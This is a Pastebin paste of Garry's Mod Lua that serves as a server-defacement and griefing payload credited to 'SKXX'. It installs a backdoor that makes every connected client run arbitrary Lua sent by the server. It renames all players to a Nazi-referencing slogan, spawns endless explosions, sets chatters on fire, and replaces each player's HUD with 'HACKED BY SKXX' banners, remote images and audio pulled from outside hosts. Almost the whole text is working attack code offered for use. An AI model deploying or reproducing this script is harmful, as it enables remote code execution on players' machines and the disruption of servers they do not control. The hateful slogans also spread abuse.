API tools faq
paste
Advertisement
SHADoWS1955164

rbgz

SHADoWS1955164
Aug 9th, 2019
40
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.84 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "slua2"
  2.  
  3. local DESIRED_NAME = "LA SS VOUS PISSE DESSUS"
  4. local lol = {}
  5. function lol:RandomString( intMin, intMax )
  6. local ret = ""
  7. for _ = 1, math.random( intMin, intMax ) do
  8. ret = ret.. string.char( math.random(65, 90) )
  9. end
  10.  
  11. return ret
  12. end
  13.  
  14.  
  15.  
  16. lol.m_tblActions = {}
  17. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  18. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  19.  
  20. function lol:PushAction( intChainDelay, func )
  21. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  22. end
  23.  
  24. function lol:NextAction( pPlayer )
  25. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  26. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  27.  
  28. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  29. if not IsValid( pPlayer ) then return end
  30. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  31. self:NextAction( pPlayer )
  32. end )
  33. end
  34.  
  35. function lol:Start( pPlayer )
  36. pPlayer.m_intCurAction = 0
  37. self:NextAction( pPlayer )
  38. end
  39.  
  40. function lol:SendLua( pPlayer, strLua )
  41. net.Start( "slua2" )
  42. net.WriteString( strLua )
  43. net.Send( pPlayer )
  44. end
  45.  
  46. function lol:SetupPlayer( pPlayer )
  47. pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
  48. end
  49.  
  50.  
  51. -------START CODE FORT BAN/UNBAN/ETC...
  52.  
  53. ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
  54.  
  55. -----START LINE CODE FOR DANSE
  56. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  57. -----STOP LINE CODE FOR DANSE
  58.  
  59. ------- STARTCODE FOR FORCE CHANGE NAME
  60. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  61. ------- STOP LINE CODE FOR CHANGE NAME
  62.  
  63. ------- ARMAGEDDON
  64. hook.Add("Think", "armageddon", function()
  65. local explode = ents.Create( "env_explosion" )
  66. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  67. explode:Spawn()
  68. explode:SetKeyValue( "iMagnitude", "500" )
  69. explode:Fire( "Explode", 0, 0 )
  70. end)
  71. ---------
  72.  
  73. --------- GIANT
  74. hook.Add("Think", "giant", function()
  75. for k,v in pairs (player.GetAll()) do
  76. v:SetModelScale(50.5, 100);
  77. v:SetRunSpeed(400 * 2);
  78. v:SetWalkSpeed(200 * 2);
  79. end
  80. end)
  81. ------------------
  82.  
  83. for k,v in pairs(player.GetAll()) do
  84. v:ConCommand("say armageddon")
  85. end
  86.  
  87. for k,v in pairs(player.GetAll()) do
  88. v:ConCommand("say giant")
  89. end
  90.  
  91. for k, v in pairs( player.GetAll() ) do
  92. lol:SetupPlayer( v )
  93. timer.Simple( 2, function() lol:Start( v ) end )
  94. end
  95.  
  96. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  97. lol:SetupPlayer( pPlayer )
  98. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  99. end )
  100.  
  101. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  102. if strText:sub( 1, 5 ) == "/1337" then
  103. pSender:Ignite( 1e9 )
  104. pSender:ChatPrint( "fuck this job i quit" )
  105. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  106. return false
  107. end
  108. end )
  109.  
  110. hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
  111. if strText:sub( 1, 5 ) == "what" then
  112. pSender:Ignite( 1e9 )
  113. pSender:ChatPrint( "SEIZED BY SCHUTZSTAFFEL NAZI" )
  114. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  115. return false
  116. end
  117. end)
  118.  
  119. --Sequence stack
  120. --Start some tunes and steam in our assets
  121. lol:PushAction( 0, function( pPlayer )
  122. lol:SendLua( pPlayer, ([=[
  123. sound.PlayURL( "https://4.top4top.net/m_1316l07br1.mp3", "", function()end )
  124.  
  125. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  126. local html = [[%s]]
  127. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  128. local pnl = vgui.Create( "HTML" )
  129. pnl:SetPos( ScrW() -1, ScrH() -1 )
  130. pnl:SetVisible( true )
  131. pnl:SetMouseInputEnabled( false )
  132. pnl:SetKeyBoardInputEnabled( false )
  133. pnl:SetSize( intSizeX, intSizeY )
  134. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  135.  
  136. local PageLoaded
  137. PageLoaded = function()
  138. local mat = pnl:GetHTMLMaterial()
  139. if mat then
  140. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  141. return
  142. end
  143.  
  144. timer.Simple( 0.5, PageLoaded )
  145. end
  146.  
  147. PageLoaded()
  148. end
  149.  
  150. LoadWebMaterial( "https://cdn.discordapp.com/attachments/608613602248884227/609374586265534480/gifskxxagency.gif", "getrekt", 1920, 1080 )
  151. ]=]):format(lol.m_strImageLoadHTML) )
  152. end )
  153.  
  154. --HUD swap
  155. lol:PushAction( 31, function( pPlayer )
  156. lol:SendLua( pPlayer, [[
  157. (GAMEMODE or GM).CalcView = function() end
  158. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  159.  
  160. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  161. for k, v in pairs(remove) do
  162. hook.GetTable()[v] = {}
  163. end
  164.  
  165. local function GetWebMat( strURL )
  166. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  167. end
  168.  
  169. hook.Add( "HUDPaint", "newhud", function()
  170. surface.SetDrawColor( 255, 255, 255, 255 )
  171.  
  172.  
  173. if GetWebMat( "getrekt" ) then
  174. surface.SetMaterial( GetWebMat("getrekt")[1] )
  175. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  176. end
  177.  
  178. draw.SimpleTextOutlined(
  179. "SKXX IS BACK GET REKT BY SKXX",
  180. "DermaLarge",
  181. ScrW() /2 +math.random( -8, 8 ),
  182. ScrH() /2 +math.random( -8, 8 ) +64,
  183. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  184. TEXT_ALIGN_CENTER,
  185. TEXT_ALIGN_CENTER,
  186. 1,
  187. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  188. )
  189.  
  190. draw.SimpleTextOutlined(
  191. "HACKED BY SKXX",
  192. "DermaDefaultBold",
  193. ScrW() /2 +math.random( -2, 2 ),
  194. ScrH() /2 +math.random( -2, 2 ) +100,
  195. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  196. TEXT_ALIGN_CENTER,
  197. TEXT_ALIGN_CENTER,
  198. 1,
  199. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  200. )
  201. end )
  202.  
  203. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  204. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  205.  
  206. surface.PlaySound( "garrysmod/save_load4.wav" )
  207. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  208. ]] )
  209. end )
  210.  
  211.  
  212. --Disco time
  213. lol:PushAction( 10, function( pPlayer )
  214. local idx = pPlayer:EntIndex()
  215. timer.Create( "beat".. idx, 0.42, 0, function()
  216. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  217. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  218. end )
  219.  
  220.  
  221. lol:SendLua( pPlayer, [[
  222. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  223. local time = 0
  224.  
  225. hook.Add( "Think", "wat", function()
  226. if CurTime() < time then
  227. return
  228. end
  229.  
  230. time = CurTime() +0.05
  231. for i = 1, 16 do
  232. local part = emitter:Add(
  233. "particles/balloon_bit",
  234. LocalPlayer():GetPos() +Vector(
  235. math.random( -256, 256 ),
  236. math.random( -256, 256 ),
  237. 256
  238. )
  239. )
  240.  
  241. if part then
  242. local Size = math.random( 4, 7 )
  243.  
  244. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  245. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  246. part:SetDieTime( 4.5 )
  247. part:SetGravity( Vector(40, 0, -250) )
  248. part:SetLifeTime( 0 )
  249. part:SetStartSize( Size /2 )
  250. part:SetEndSize( Size )
  251. part:SetCollide( true )
  252. end
  253. end
  254. end )
  255. ]] )
  256.  
  257. lol:SendLua( pPlayer, [[
  258. hook.Add( "RenderScreenspaceEffects", "wat", function()
  259. local sinScaler = math.sin( CurTime() )
  260. DrawBloom(
  261. 0,
  262. 3,
  263. sinScaler *math.Rand(1, 8),
  264. sinScaler *math.Rand(1, 8),
  265. 6,
  266. math.Rand(0.5, 2),
  267. math.Rand(0, 0.3),
  268. math.Rand(0, 0.3),
  269. math.Rand(0.5, 1)
  270. )
  271.  
  272. DrawColorModify{
  273. ["$pp_colour_addr"] = 5,
  274. ["$pp_colour_addg"] = 1,
  275. ["$pp_colour_addb"] = 1,
  276. ["$pp_colour_brightness" ] = 0,
  277. ["$pp_colour_contrast" ] = 1,
  278. ["$pp_colour_colour" ] = 1,
  279. ["$pp_colour_mulr" ] = 1,
  280. ["$pp_colour_mulg" ] = 0,
  281. ["$pp_colour_mulb" ] = 0
  282. }
  283. end )
  284.  
  285. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  286. mdl:SetNoDraw( true )
  287. local posCache, time = {}, 0
  288.  
  289. hook.Add( "HUDPaint", "dance", function()
  290. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  291. local idx = mdl:LookupSequence("taunt_dance")
  292. mdl.SeqDuration = mdl:SequenceDuration( idx )
  293. mdl.SeqStart = CurTime()
  294. mdl:ResetSequence( idx )
  295. end
  296.  
  297. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  298.  
  299.  
  300. local w, h = 300, 300
  301. local ang = Angle( 0, 0, 0 )
  302.  
  303. for i = 1, 32 do
  304. if CurTime() > time then
  305. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  306. end
  307. local x, y = posCache[i][1], posCache[i][2]
  308.  
  309. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  310. cam.IgnoreZ( true )
  311. render.SuppressEngineLighting( true )
  312.  
  313. render.SetLightingOrigin( mdl:GetPos() )
  314. render.ResetModelLighting( 1, 1, 1 )
  315. render.SetColorModulation( 0, 0, 1 )
  316.  
  317. mdl:DrawModel()
  318.  
  319. render.SuppressEngineLighting( false )
  320. cam.IgnoreZ( false )
  321. cam.End3D()
  322. end
  323.  
  324. if CurTime() > time then
  325. time = CurTime() +0.15
  326. end
  327. end )
  328.  
  329. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  330. ]] )
  331. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!